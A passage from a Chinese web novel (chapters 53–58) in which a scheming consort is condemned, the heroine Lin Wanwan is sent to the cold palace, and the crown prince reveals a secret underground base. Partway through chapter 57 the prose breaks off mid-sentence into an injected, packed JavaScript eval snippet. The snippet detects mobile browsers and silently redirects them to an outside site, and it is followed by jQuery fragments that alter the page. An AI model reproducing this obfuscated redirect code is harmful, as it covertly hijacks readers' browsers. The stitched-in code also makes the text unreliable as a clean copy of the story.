无需多言,两者在灯火下折射出的、一模一样的诡异七彩光泽,便是最残酷的铁证!
殿内瞬间炸开了锅。
惊呼声,议论声此起彼伏!
所有人的目光都如同利箭般射向面无人色的柳贵妃身上!
她竟敢在献给太后的寿礼上动手脚,意图对太后不轨!
而林绾绾跟太子的嘴角,在无人察觉的角度,都挂起一丝弧度。
之前,萧景珩查到端妃中毒的手法后,顺着这条线,找到了专为柳贵妃做珠钗的匠人。
一番手段下来,意外知晓柳贵妃在太后寿礼上也做了同样的手脚。
柳贵妃到底有什么目的,自是不言而喻。
如此,他们决定顺水推舟,成全柳贵妃!
昨晚,寒鸦溜进贵妃的宝库,将原本应该就在里面的东西偷偷放了进去。
如此,才有了现在这一幕。
第53章 沉冤昭雪
慈宁殿上。
贵妃柳轻眉如同被抽去了全身筋骨,踉跄着后退一步,撞翻了身后的矮几。
杯盘碎裂,声响刺耳。
她精心维持的雍容华贵被彻底击得粉碎。
她明明记得,那个暗格里自己嘱咐过,暂时不要放任何东西!怎么会有“朱颜改”?
是谁?是谁在背后算计她?
“毒妇!好一个毒妇!”
太后气得浑身发抖,她指着柳氏,声音因极致的愤怒而颤抖。
“哀家待你不薄!你竟敢…竟敢用如此阴毒的手段残害嫔妃,更将这心思动到了哀家头上!其心可诛!其心可诛啊!”
皇帝萧胤的脸色阴沉得能滴出水。
他看着柳氏的眼神再无半分温度,只剩下冰冷的算计。
柳轻眉…
这颗棋子,已经彻底废了!还成了烫手的山芋!
人证!物证!铁证如山!
桩桩件件,皆指向柳氏!
滔天罪行,罄竹难书!
“毒妇!真是个毒妇!”
太后气得眼前发黑,几乎晕厥过去,被身边嬷嬷死死扶住。
皇帝萧胤的脸色已经不能用阴沉来形容,那是一种暴风雨来临前的死寂!
他看着地上如同烂泥的柳氏,看着哭嚎着招供的太监,看着托盘上那些刺目的罪证,再看着满殿宗亲命妇那震惊、愤怒的目光…
他知道,柳家完了...
那么,柳轻眉必须死!
而且,要死得“大快人心”,才能平息众怒,才能掩盖更深的东西...
“妖妃柳氏!”皇帝的声音冰冷刺骨,带着帝王的杀伐决断。
“谋害妃嫔,戕害皇嗣,构陷忠良!更妄图加害太后!罪证确凿,十恶不赦!即刻打入天牢,着三司会审!”
“柳氏一族,凡五品以上者,即刻锁拿下狱!”
“抄没柳氏家产!待审明罪状,明正典刑,以儆效尤!”
“不!陛下!臣妾冤枉!陛下饶命啊!”
柳轻眉的父兄,柳家党羽哭嚎着跪倒一片。
“拖下去!”皇帝厉声咆哮,挥手间,如同驱赶苍蝇一般。
如狼似虎的侍卫一拥而上,粗暴地将惨嚎挣扎的柳轻眉如同托死狗般架起,将殿上哭爹喊娘的柳家党羽拖了下去。
柳氏死死瞪着皇帝,喉咙里发出嗬嗬的嘶鸣:“陛下…您…长生…呃!”
后面的话没还说出口,就在皇帝警告的眼神中,被侍卫狠狠堵住了嘴。
大殿内再次恢复了一片死寂。
皇帝的目光沉沉地落在了林绾绾身上...
林绾绾依旧挺直了背脊跪在殿上,如同浴火青莲一般。
忌惮,杀意,还有一丝权衡…
此女不除,必成大患!
她知道的太多了!
林家…巫医族…血凤凰木…每一样都踩在他的禁忌之上!
“至于你…”
皇帝的声音阴沉得可怕,每一个字都带着森然的杀意。
“林绾绾!你惊扰太后千秋寿宴,更是天牢逃犯!虽揭露柳氏有功,然功过难抵!死罪可免,活罪…”
“父皇且慢!”
那个低沉,却带着磐石般坚定力量的声音,再次响起。
萧景珩挡在了林绾绾身前,每一次轻微的呼吸都带着压抑的咳意。
他平静的目光迎向皇帝那几乎要将他凌迟的暴怒目光时,一股沉凝如山岳般的气势,竟硬生生抗住了帝王的滔天威压!
“九弟与端妃娘娘冤屈得洗,林家忠烈得以昭雪,此乃社稷之幸,父皇之明!”
萧景珩声音沉稳,带着不容置疑的决断:
“林绾绾虽有擅离天牢、擅动非常手段之过,然其忍辱负重,以身犯险,在关键时刻寻得关键铁证,揭露柳氏滔天罪行。于社稷有再造之功!”
“若非她拼死寻回着血凤凰木、‘朱颜改’毒晶以及九尾凤簪的秘密,九弟与端妃娘娘的冤屈恐永沉海底,林家忠骨更将含恨九泉!柳氏之毒焰,将永无熄灭之日!”
萧景珩的话语条理清晰,字字铿锵,将林绾绾的“罪责”转化为揭露阴谋、昭雪沉冤、立下不世之功的壮举!
皇帝看着挡在林绾绾身前的儿子,看着他病弱身躯下那坚定的维护,看着他眼中那深不见底的平静...
一股失控的愤怒和被忤逆的暴戾在胸腔中疯狂冲撞!
这个儿子…这个他一直视为病弱废物的儿子…竟然一而再,再而三地当众挑战他的权威!
“太子!”皇帝的声音从齿缝里挤出,“你都自身难保,还要包庇这个妖…这个女人?莫非你与她…”
“父皇!”
萧景珩提高了声音,打断了皇帝那充满暗示和恶意的揣测。
他剧烈地咳嗽起来,苍白的脸上涌出病态的红晕,身体剧烈摇晃,仿佛下一刻就要咳血倒地。
旁边的内侍慌忙搀扶住他。
萧景珩抬起眼,此刻他的眼中布满了血丝,声音里更是带着一种悲怆到极致的沉痛,语调嘶哑却字字泣血:
“儿臣只是心痛!心痛九弟年幼夭折,死后仍要受尽折磨!”
“心痛端妃娘娘无端受辱,容颜尽毁!”
“心痛林太医一生忠耿,悬壶济世,最后却落得满门抄斩,身败名裂!”
“儿臣更心痛父皇,被此毒妇蒙蔽圣听,将来会被史笔所诟病!”
接着,萧景珩话锋一转,再次将矛头死死钉在柳氏身上:
“林绾绾虽有微功,但擅离天牢,惊扰太后千秋亦是事实。儿臣深知父皇欲正纲纪,但她揭露奸佞,昭雪沉冤之功,实乃社稷之幸!若因此功而反受重责,恐怕寒了天下忠义之士的心!”
“儿臣斗胆,恳请父皇,念其功勋卓著,允许她将来戴罪立功!儿臣愿以性命,为其担保!”
萧景珩以退为进,给皇帝递上了一个他必须接受的台阶。
而殿内的人在看到太子这近乎悲壮的姿态,瞬间被震慑!
看着他眼中那沉痛悲怆却又无比坚定的光芒,看着他为了一个“罪女”不惜以储君之尊、病弱之躯硬抗帝威...
许多宗室老臣和命妇眼中都流露出动容之色。
“太子殿下!”有老宗亲忍不住低声呼喊。
太后的眼神也复杂地闪动着。
她看了看咳血的太子,又看了看地上那些代表林家冤屈的证物,最终化为一声沉重的叹息。
第54章 挺身维护
皇帝萧胤的脸色已经不能再用阴沉来形容。
他看着病弱不堪却依旧挡在林绾绾跟前的太子,看着满殿宗亲命妇那复杂难言的目光,看着太后眼中那尚未完全消散的怒意...
他知道,自己彻底被架在了火上!
强行诛杀林绾绾?
那便是坐实了“昏聩”,“滥杀功臣”,“纵容奸妃屠戮忠良”的恶名。不仅会寒了人心,甚至可能激起朝堂动荡!
太子这以命相搏的姿态,更是将他置于不义之地!
而柳氏已倒,他需要太子暂时稳住局面,更需要时间消化权利真空,继续他隐秘的“大业”!
这个林绾绾...
把她置于眼皮底下,由太子“看管”,从目前来看,是最稳妥的办法!
此举既能稳定局面,又能牵制太子,更便于他日后...慢慢利用!
心思电转间,皇帝脸上的暴怒如同潮水般褪去,取而代之的是一种疲惫的,带着“明君”的无奈与“慈父”般痛心的复杂表情。
他深深叹了口气,仿佛瞬间苍老十岁般“疲惫”地挥了挥手。
“罢了,罢了…太子所言,字字泣血,令朕痛心疾首!是朕被奸妃蒙蔽,铸下大错!朕愧对九泉之下的皇儿,愧对端妃,更...愧对林家满门!”
皇帝的声音带着一丝刻意营造的沉痛,目光沉沉地落在林绾绾身上,语气满是帝王的“恩典”:
“林绾绾!”
“朕,今日当着太后,当着满朝宗亲命妇的面,为林家平反昭雪!”
“追封林崇明为忠义伯,谥号‘文正’!其妻云氏,追封一品诰命!林家无辜枉死者,由朝廷出资厚葬,抚恤遗属!”
“你揭露奸佞,寻回铁证,于社稷有大功!”
“然擅离天牢,惊扰圣寿亦是事实。功过相抵,死罪可免。“
“即日起,革去司药女官之职,打入冷宫!非诏不得出!由太子亲自看管!若再有差池,定斩不饶!退下!”
平反!追封!打入冷宫!由太子看管!
这旨意如同冰火两重天!
看似赏罚分明,实则充满了算计!
为林家正名,洗刷了林绾绾心头最大的血仇污名!
将她这个烫手山芋丢给太子,既全了“明君”不滥杀功臣的表面功夫,又反将太子推到了风口浪尖。
若太子稍有异动,或是她自己出现什么问题,便是现成的把柄!
巨大的悲喜冲击瞬间席卷了林绾绾,支撑她走到现在的意志力也仿佛瞬间被抽空。
她缓缓跪下,额头重重磕在冰冷坚硬的地面上,发出沉闷的声响:
“林绾绾…谢陛下隆恩!谢陛下为我林家昭雪!”
她声音哽咽沙哑,带着刻骨的悲凉与得偿所愿的释然。
父亲…母亲…林家枉死的亲人们…你们可以瞑目了!
“儿臣…领旨!谢父皇隆恩!”
萧景珩同样躬身行礼,声音带着如释重负的虚弱,低垂的眼睫遮住了一闪而过的冰冷寒芒。
冷宫!这正是他想要的缓冲之地。
远离皇帝的直接视线,更方便他接下来的布局!
“还不扶太子和这…林氏下去!”
皇帝的声音带着浓浓的疲倦和挥之不去的阴冷,仿佛多看这个方向一眼都嫌晦气。
两名内侍慌忙上前搀扶萧景珩。
林绾绾挣扎着想自己起身,却因脱力和情绪的巨大冲击而双腿发软。
就在这时,一只冰冷而沉稳的手,稳稳地扶住了她即将倾倒的手臂。
林绾绾抬头,正好对上萧景珩那双近在咫尺的黑眸。
萧景珩脸色依旧苍白,但那双眼睛清晰地倒映着她此刻的虚弱与眼中未干的泪光。
他的掌心透过薄薄的衣料传来一丝微弱的暖意,也给林绾绾带来一种无声的支撑。
那暖意并非来自体温,更像是心口那火焰纹路传递来的、同源力量的微弱共鸣。
“还能走吗?”他的声音压得极低,只有两人能听见。
林绾绾的心漏跳一拍,咬着下唇,点了点头,挣开他的手,稳定住自己的身形。
没有再看皇帝和太后,没有理会殿内那些或唏嘘,或复杂,或探究的目光。
林绾绾一步一步地,跟随着那个玄色蟒袍的背影,缓缓走出了这刚刚经历了一场血腥清算的慈宁大殿。
殿外,寒风依旧凛冽,天光惨淡,压得人喘不过气来。
宫道漫长而空旷,只有他们二人缓慢前行的脚步,在死寂中回响。
林绾绾低着头,看着脚下被踩得脏污的积雪,感受着手臂上那来自萧景珩的支撑力量,心口隐隐发烫。
她的目光不由自主地移向了身侧这个近在咫尺的男人。
他微微侧着脸,下颌线绷得如同刀锋,苍白的薄唇紧抿,长睫低垂,遮住了眼底所有的情绪。
空气中似乎隐隐有血腥味传来。
萧景珩后背上,素白的蟒袍已被暗红的血色彻底浸透,如同雪地里绽开的触目惊心的红梅。
为了她,这个男人到底承受了多少?
复杂的情绪如同藤蔓,悄然地缠绕上她的心脏。
有沉冤得雪的悲凉释然,有手刃仇敌的冰冷快意,有对未来的迷茫与沉重,更有…对眼前这个强大又脆弱、冷酷又维护她的男人的悸动与心疼。
那个儿时在榻上病弱不堪的小哥哥,跟眼前男人的身影再度重合。
萧景珩似乎感受到了她目光的重量,微微偏过头。
四目相对。
寒风卷起萧景珩鬓角几缕散落的墨发,他没有言语,只有眼底一片沉静的深邃。
林绾绾的心猛地一颤,似乎被那深邃的目光烫到,迅速垂下了眼帘。
手臂上他掌心传来的微弱暖意,却仿佛烙印,带着一种无声的承诺和沉重的羁绊。
宫道的尽头,是重重叠叠,象征着禁锢与荒凉的宫殿剪影——冷宫。
这是新的囚笼,或许也将是新的战场。
巫医族的秘密,九皇子身上蛊虫的作用,她与萧景珩的同源寒毒,还有这个男人身上所有的谜团…都如同一张巨大且无形的网,朝着她缓缓收紧。
雪,无声地落下,覆盖了来时的足迹,也掩埋了刚刚经历过的血腥与昭雪。
林绾绾深深觉得,前路依旧茫茫。
辞别了萧景珩,她独自一人向冷宫走去。
第55章 入住冷宫
冷宫里,混合着绝望和血腥的阴寒。
一种带着陈腐尘埃气息的冰冷,如同破败的纱布般层层叠叠地缠绕上来,无声无息地侵蚀着人的生气和希望。
空气里到处都是潮湿的霉味和枯草的腐败气息,还有一种挥之不去的、属于时光和失意共同沉淀下来的死寂。
冷宫,栖梧苑。
名字曾是帝王恩宠的象征,此刻却成了巨大的讽刺。
破败的宫门歪斜地敞开着,院墙斑驳,朱漆剥落殆尽,灰白的墙体上爬满了枯死的藤蔓。
庭院里荒草丛生,枯黄焦黑,在惨淡的冬日天光下瑟瑟发抖。
几间殿宇门窗破败,糊窗的明瓦早已破碎,只剩下空洞的黑框,像一只只盲人的眼睛,漠然地注视着闯入的不速之客。
远处监视着林绾绾的太监,看着林绾绾进入冷宫后,便隐身退去。
冷宫殿内更加昏暗,光线只能从破损的门窗缝隙里艰难地挤进来,照亮空气中飞舞的尘埃。
地面是冰冷且凹凸不平的青砖,到处都积着厚厚的灰尘。
角落里堆着些破烂的桌椅残骸,蛛网如同灰白的帷幔,在梁柱间无声垂落。
浓重的霉味和灰尘气息直冲鼻腔。
“砰!”殿门在林绾绾身后被寒风重重关上,沉重的声音在死寂中格外刺耳,似乎宣告着囚禁的开始。
巨大的疲惫和劫后余生的虚脱感如同潮水般将林绾绾瞬间淹没。
紧绷了数日,乃至数月的神经骤然松弛,带来的不是解脱,而是排山倒海的眩晕和无力。
她背靠着冰冷刺骨的殿门,身体不受控制地缓缓滑落,最终跌坐在满是灰尘的青砖地上。
冰冷刺骨的地气透过单薄的宫装直窜上来,让她打了个寒战。
左肩胛处,之前被蚀骨毒掌侵蚀的伤口,传来隐隐刺痒,似乎在提醒着她不久前经历的惊心动魄的搏杀。
心口的火焰纹路似乎彻底沉寂下去,只余下微弱如星火的暖意,对抗着这无孔不入的冰冷和死寂。
脑海中不受控制地浮现出萧景珩的身影。
他苍白如雪的脸,他“强撑”病体挡在自己身前,应对皇帝暴怒的决绝,他后背上洇开的、刺目的血迹…
还有宫道上,他那只冰冷沉稳,给予了自己无声支撑的手掌…
心口微弱的暖意似乎又跳动了一下。
就在思绪纷乱,身心俱疲之际——
“吱呀--”
一声轻微的推门声,打破了殿内的寂静。
林绾绾迅速抬头,警惕地看向声音来源。
门被推开了一条缝隙,一个瘦小的身影畏畏缩缩地探了出来。
一个约莫十六、七岁的小宫女,穿着一身洗得发白,打满补丁的宫装,脸色蜡黄,头发用一根木簪草草挽着。
她看到跌坐在地、满身狼狈的林绾绾,一双黑白分明的大眼睛里充满了惊惧和好奇,如同受惊的小鹿。
“你…你是谁?”小宫女的声音细若蚊蚋,带着浓重的怯意,“怎么…怎么会到这里来?”
林绾绾神经微微放松了一些,但警惕未消。
她撑着冰冷的地面,试图站起来,但无力的身体让她闷哼一声,又重新跌了回去。
“呀!”
小宫女惊呼一声,下意识想上前搀扶,却又畏惧地缩回了手,怯生生地站在原地,绞着衣角。
“你…你是不是受伤了?我去给你找点水。”话说完,转身就要跑回内室。
“等等!”林绾绾强忍着不适开口,“你叫什么名字?这里…还有其他人吗?”
小宫女脚步顿住,回头飞快地看了她一眼,又迅速低下头,小声嗫嚅道:“奴婢叫小荷,这栖梧苑就奴婢一个人守着。”
她的声音里带着浓重的孤寂和恐惧,“嬷嬷们…都走了好多年了…”
一个人?守着这偌大的冷宫?
林绾绾看着小荷单薄的身影,心底掠过一丝同病相怜的悲凉。
“小荷…”林绾绾放缓了声音,尽量让自己听起来没有威胁性,“麻烦你,除了帮我打点水,再找些干净的毛巾可以吗?”
小荷闻言,用力点了点头,转身飞快地跑进了内室。
林绾绾看着小荷消失的背影,轻轻吁了口气。
她挣扎着,扶着冰冷的殿门,艰难地站了起来。
再次环顾着破败的殿宇,一股名为“囚徒”的无力感沉沉压下。
她走向一扇相对完好的窗边,透过破洞的窗纸向外望去。
就在这时,一阵微弱却独特的笛声,如同游丝般,穿过层层叠叠的宫墙和凛冽的寒风,断断续续地飘了过来。
那笛声带着一种不属于中原的、苍凉辽阔的异域风情。
旋律古老而忧伤,如同大漠孤烟的叹息,又似草原朔风的呜咽。
在这死寂冰冷的冷宫深处,这缕笛声显得如此突兀,却又带着一股穿透力,直抵人心。
大漠风情...是北漠?!
她脑海中瞬间想起一个名字——赫连灼!
北漠送来大胤的质子!
传闻他性情古怪,深居简出,独居在皇宫最偏僻的“凝霜馆”,几乎与世隔绝。
难道这笛声…是他?
一丝异样的感觉涌上心头。
北漠…巫医族…血凤凰木…
林绾绾下意识攥紧了拳,指甲深深陷入掌心。
贵妃虽倒,但这深宫的漩涡远未平息…一切似乎才刚刚开始。
笛声悠悠,如同幽灵的低语,在冷宫上空盘旋片刻,又渐渐消散在寒风中,只留下更深的疑团。
小荷很快端着一个豁了口的粗陶盆回来,里面盛着半盆清澈的冷水。
她手里还攥着一小卷干净的旧布,怯生生地递给林绾绾。
“只有这些了…”小荷的声音依旧很小,带着歉意。
“足够了,谢谢你,小荷。”林绾绾接过布条,对她露出一个温和的笑容。
这女孩眼中的惶恐和小心翼翼,让她想起了林家未出事前,府里那些年纪相仿的小丫鬟。
林绾绾走到墙角一处相对避风、灰尘也少些的地方,示意小荷将水盆放下。
她背对着小荷,解开衣襟,露出左肩胛的伤口。
伤口虽然不再流血,但边缘红肿,被灰尘和汗水沾染后,隐隐有发炎的迹象。
她忍着痛,用布条蘸了冷水,小心翼翼地清理伤口周围的污垢。
冰冷布条触碰到皮肉,带来一阵阵刺痛,让她额角渗出细密的冷汗,但她却咬紧牙关,一声不吭。
小荷站在一旁,看着林绾绾处理伤口时的模样,微不可查点了点头,眸光中多了认可和敬佩。
第56章 秘策初窥
“笃笃笃。”
极其轻微、富有节奏的敲击声,突然在栖梧苑破败的窗棂上响起。
林绾绾和小荷同时一惊,齐齐回头看向传来异响的地方。
只见窗纸的破洞处,一只通体漆黑、眼睛猩红如血的乌鸦,正用它尖利的喙,轻轻啄着窗棂。
是那只神出鬼没的血瞳乌鸦!
它歪着头,猩红的眼睛透过破洞,精准地“看”着林绾绾。
随即,它灵巧地一低头,从窗棂的缝隙中,丢进来一个小小的,用油纸包裹严实的物件。
“啪嗒”一声,小物件落在积满灰尘的地面上。
血瞳乌鸦完成任务,无声的振翅,瞬间消失在窗外的寒风中,仿佛从未出现过。
林绾绾快步上前,捡起那个油纸包。
东西入手微沉,带着一丝草药的清苦气息。
她一层层剥开油纸,里面是一颗褐色药丸。
药丸散发着淡淡的清香。
黄芪、党参、黄精…都是可以固本培元的成分。
一股难以言喻的暖流瞬间涌上心头,冲淡了身体的寒冷和不适。
他…竟然在这种时候,还记得她的伤,还让血鸦送来了药!
“是…是神仙吗?”
小荷看着那凭空出现的药丸,似乎受到了惊吓。黑白分明的大眼睛里充满了难以置信的敬畏。
林绾绾心中五味杂陈,只是摇了摇头,没有解释,低声道:“是…一位故人。”
她将手中的药一口服下,一股温和的暖流自丹田升起,缓缓流向四肢百骸,驱散了深入骨髓的寒意和疲惫。
她感觉精神恢复了一些,身体也不再那么软弱无力。
“小荷,这里有可以休息的地方吗?”林绾绾轻声问。
小荷指了指内室的方向:“里面有个小隔间,奴婢平时睡在那里。那里有个土炕,虽然硬一些,但却比睡在地上暖和些。”
林绾绾点点头:“那带我去吧。”
内室比外殿更加昏暗破败,空气也更加浑浊。
小荷所说的“小隔间”,其实只是用破旧的屏风勉强隔开了一个角落。
里面果然有一个小小的土炕,炕上铺着打补丁的旧褥子,虽然简陋,但确实比冰冷的地面好得多。
“您…睡这里吧。”小荷小声说道,自己则抱了一床破被子,缩到了土炕对面的角落里,准备打地铺。
“不用,”林绾绾拦住她,“地方够,咱们一起睡炕上吧,本来就是我占了你的位子。”
小荷微微一愣,用力吸了吸鼻子,没有拒绝,只是低低说了声:“谢谢…姐姐。”
这一声“姐姐”,带着浓浓的依赖和感激,让林绾绾冰冷的心泛起一丝涟漪。
她拍了拍小荷瘦弱的肩膀,两人和衣挤在狭窄却有些暖意的土炕上。
身体的疲惫再次凶猛地袭来,意识在药效下变得模糊。
林绾绾闭上眼,整个人很快沉入黑暗。
脚下是一条深不见底,流淌着暗红色液体的河流。
一条血河!
河水粘稠,散发着令人作呕的甜腥气息,与血凤凰木那独特的异香一模一样。
无数扭曲的、痛苦的灵魂在血河沉浮、哀嚎,他们的面容模糊不清,却都穿着明黄的皇子服饰或是华美的宫装!
林绾绾感觉自己的身体悬浮在血河之上,冰冷黏腻的河水不断试图将她拖拽下去。
心口那火焰纹路,散发出微弱的金红光芒,勉强抵御着那邪恶的侵蚀。
突然!
血河深处,睁开一只巨大的、布满血色的金色竖瞳。瞳孔深处,倒映着皇帝萧胤那张威严却充满无尽贪婪的脸!
他张开嘴,无声地咆哮着,血河中那些沉浮的灵魂哀嚎着被吸入他的口中,然后化作他脸上越来越浓重的、不详的金色光晕。
紧接着,画面破碎重组。
她“看”到了一个阴暗的地宫深处。
墙壁上刻满了扭曲的、燃烧着火焰的古老符文,充满了邪异和污秽的气息。
地宫中央,矗立着一尊巨大的青铜丹炉,炉身雕刻着狰狞的鬼面,炉口喷吐着暗绿色的、带着腥臭的火焰。
丹炉下方,赫然是九皇子布满诡异紫斑的尸身!
他竟然被当成了…炉火的燃料!
“不--!”
巨大的惊骇让林绾绾在梦中发出了无声的嘶吼。
就在这时!
“嗡--!”
一声极其轻微、却仿佛来自灵魂深处的嗡鸣响起。
血河、金瞳、地宫、丹炉…所有恐怖的画面如同被投入石子的水面,激烈地晃动、破碎!
一本散发着柔和月白色光芒的古老书卷虚影,缓缓在她混乱的识海中浮现出来。
书卷材质似玉非骨,封面是暗沉的墨玉色,上面用流动着星辉般的银线,勾勒出三个古老而玄奥的大字——
《天医策》!
这书卷虚影出现瞬间,一股浩瀚磅礴、充满了无尽生机与净化之力的气息轰然扩散。
如同温暖的阳光驱散阴霾,又似清洌的甘泉涤荡污秽。
翻腾的血河,狰狞的金瞳,燃烧着邪火的青铜丹炉…在这股纯正而浩瀚的气息冲击下,如同冰雪消融,发出滋滋声响,迅速淡化、消散。
林绾绾只觉得一股难以言喻的清凉和宁静瞬间抚平了她梦魇中的惊惶与愤怒。
那书卷虚影静静地悬浮着,散发出柔和的光芒,仿佛在守护着她的意识。
书页缓慢地自行翻动着,隐约可见里面记载着无数玄奥的经络图、奇异的草药图谱,以及…闪烁着金光的古老符咒。
巨大的震撼和一种源自血脉深处的呼唤,让林绾绾的意识不由自主地想要靠近那书卷虚影,想要看清上面的内容…
就在她的意识即将触碰到那书卷的瞬间——
“姐姐?姐姐!”
一阵带着哭腔的、急切的呼唤声,如同从遥远的天边传来,猛地将她从深沉的梦境中拽回现实。
林绾绾骤然睁开眼!
眼前是破败的屋顶和蛛网,身下是带着微微暖意的土炕,心口那火焰纹路在微微发烫,识海中还残留着梦魇中的悸动和《天医策》虚影带来的浩瀚气息。
小荷跪坐在炕边,脸上满是担忧,小声道:“姐姐你刚才做噩梦了吗?你身上好烫。还有…你心口那里…”
林绾绾心中一动,低头看去。
隔着单薄的衣料,心口那微弱的火焰光芒一闪而逝,似乎有什么力量被引动了!
第57章 地下王城
“咻--!”
“噗嗤!”
一连串极其轻微、却充满了死亡气息的声响,刺破了冷宫死寂的夜空。
利器破空声!利刃入肉声!濒死的闷哼声!
林绾绾猛地翻身坐起,一把将惊恐的小荷拉到身后护住,眼睛死死盯向破败的殿门方向。
栖梧苑外,有打斗声!
是谁?
皇帝派来的灭口死士?
还是…柳氏残余势力的报复?
巨大的危机感瞬间笼罩着她。
林绾绾下意识摸向怀中。
九转玲珑针冰冷的触感传来,给了她微弱的安全感。
但面对那些能悄无声息潜入冷宫**的敌人,这点依仗却远远不够。
殿外的打斗声极其短暂,几声闷响和短促的哀嚎后,便彻底归于安静,然后是比之前更令人窒息的死寂。
林绾绾的心在胸腔里疯狂撞击,目光一瞬不瞬地盯着那扇紧闭的、随时会被暴力破开的殿门。
“哒…哒…哒…”
缓慢、沉稳的脚步声由远及近,在空旷死寂的庭院中响起,清晰地传入殿内。
每一步,都如同踩在林绾绾紧绷的神经上,她甚至能清晰听到自己血液在血管里奔流的声音。
脚步声停在了殿门外。
林绾绾握紧了怀中的金针,指尖冰凉。
“咔哒…”一声轻响,门锁被打开了。
沉重的殿门被无声地推开一条缝隙。
一道高大挺拔、几乎与门外浓重夜色融为一体的玄色身影,悄无声息地滑了进来。
他反手轻轻合上门,动作流畅而安静,没有发出一丝多余的声响。
殿内昏暗的光线勾勒出他利落的下颌线和紧抿的薄唇。
他周身散发着浓重的、尚未完全散去的血腥气和凛冽的杀意,如同刚从修罗场归来的死神。
然而,当他抬起眼,那双深不见底的黑眸看向土炕方向时,所有的血腥和杀意都瞬间收敛。
是萧景珩!
他肩头赫然又添了新伤。
血迹在玄色衣料的衬托下并不显眼,但那浓重的血腥味却瞒不过林绾绾的鼻子。
“外面…解决了?”林绾绾紧绷的声音并没有放松。
萧景珩微微颔首,声音带着夜风的冷冽:“三条皇帝的‘暗影’,已经清理干净了。”
他说得轻描淡写,仿佛只是拂去了几粒尘埃。
目光落在林绾绾苍白的脸上,眸色深了深,“你怎么样?”
“我没事。”林绾绾松开紧握金针的手,手心里全是冷汗,“你的伤…”
“无妨。”萧景珩打断她,带着不容置疑的命令:“此地不宜久留,先跟我走。”
“走?去哪里?”林绾绾一怔。
萧景珩没有直接回答,黑眸中跳跃起一丝幽暗而神秘的光芒,如同深渊中燃起的火焰。
“去一个…能让你看清这盘棋真正模样的地方。”
黑暗。
浓稠的、带着泥土腥气和岩石冷冽的黑暗,将人层层包裹。
林绾绾被萧景珩那只带着薄茧、沉稳有力的手牵引着,在狭窄逼仄的石阶上向下摸索。
脚下是湿滑冰冷的台阶,身后的光明早已被黑暗吞噬。
前方,只有萧景珩手中那盏昏黄摇曳的风灯,在绝对的黑暗中劈开一道微弱的光晕,勉强照亮脚下几级石阶和两侧粗糙冰冷的石壁。
越往下走,寒意越重。
空气中,金属与油脂混合的气息越来越浓郁。
小荷紧紧攥着林绾绾的衣袖,在一旁“瑟瑟发抖”。
不忍心小荷一个人面对危险,在林绾绾的要求下,萧景珩也将她一并带上。
三人一起在山洞石阶上穿行。
血瞳乌鸦无声地在前方盘旋引路,猩红的眼睛如同黑暗中的两点火焰。
它偶尔发出轻微的“咕咕”声,似乎在确认方向。
“滴答…滴答…”
不知何处传来的水滴声,在死寂中如同鼓点一般,敲打在林绾绾心间。
不知向下走了多久,就在林绾绾感觉双腿酸麻,身体几乎被冻僵时,前方的黑暗陡然开阔。
昏黄的风灯光晕向前延伸,映照出一扇巨大的、紧闭的石门!
石门通体漆黑,触手冰凉刺骨,仿佛万载玄冰雕琢而成。
门面光滑如镜,没有任何纹饰或把手,只在正中央的位置,镶嵌着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931300|176576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个拳头大小,造型狰狞的浮雕——
一只振翅欲飞的乌鸦。
乌鸦的眼睛,正是两颗鸽卵大小、猩红如凝固血滴的宝石,在昏暗的光线下,那宝石内部似乎有粘稠的血液在缓缓流动,散发出妖异而冰冷的光芒。
一股无形的肃杀,如同有了实质般从这扇冰冷的巨门上弥漫开来,压得人喘不过气。
萧景珩的脚步停在石门前。
他松开了林绾绾的手,示意他们退后一些。
萧景珩并未直接去碰触石门,而是伸向自己怀中,取出一样东西——
正是之前他交给林绾绾、后又收回的那枚血鸦令!
他将血鸦令的尾端,那枚猩红的“血滴”,精准无比地按在了石门中央,那只血鸦浮雕同样猩红的左眼宝石之上!
“嗡--!”
一声低沉而悠长,来自地底深处的机括轰鸣声骤然响起。
石门中央血鸦浮雕的左眼宝石,亮起刺目的猩红光芒。
那光芒如同活物般,瞬间沿着血鸦浮雕的羽翼跟利爪蔓延开来,勾勒出无数细密繁复,如同血管般的暗红纹路。
整个巨大的石门仿佛被注入了生命,那些冰冷的纹路在猩红光芒的映照下,如同燃烧的血液!
那扇沉重无比、仿佛与山体融为一体的漆黑巨门,在没有任何外力推动的情况下,缓缓无声地向内滑开。
门内,并非与山洞一样是浓郁的黑暗,反而透出了一种柔和的冷白光芒。
一股混合着古老书卷、陈年金属、奇异草药以及…一丝若有若无血腥气的复杂气息,扑面而来。
林绾绾屏住呼吸,目光越过萧景珩挺拔的肩头,看向门内——
眼前豁然开朗!
这是一个巨大的超乎想象的地下空间!
穹顶高远,由无数根粗壮的、雕刻着扭曲火焰与血鸦图腾的黑色石柱支撑。
柔和而稳定的冷白光芒并非来自烛火,而是镶嵌在穹顶和四壁的无数颗散发着月白色光晕的奇异晶石,如同将漫天星辰搬入了地下。
萧景珩回头,深深看了林绾绾一眼:
“这就是血鸦阁!真正属于我的地下王城!”
第58章 真心相对
血鸦阁空间被分割成不同的区域。
靠近入口处,是开阔的演武场。
地面铺设着暗沉的金属板,上面残留着各种兵器劈砍的痕迹,空气中还散发着淡淡的汗味和铁锈气。
演武场旁,是几排高大的、如同蜂巢般的乌金架子。
上面密密麻麻地陈列着各种闪烁着寒光的兵器,奇异的机括零件以及一些被封存在透明晶石管中的、颜色诡异的液体。
更深处,则是一间间独立的石室。
有的门户紧闭,有的则敞开着。
可以看到里面摆满了巨大的书架,书架上堆放着难以计数、材质各异的卷轴和书册。
还有的石室看似被改成了炼药房。
巨大的药鼎,琳琅满目的药材架,以及一些造型奇特的装置,一应俱全。
甚至还有一个区域,里面隐约传来低沉的、非人的嘶吼和翅膀扇动的声音…
这里,俨然是一个功能齐全、庞大而精密的地下王国!
血鸦阁真正的核心,竟然就在皇城地底!
此刻,演武场的边缘,正静静伫立着数十道身影。
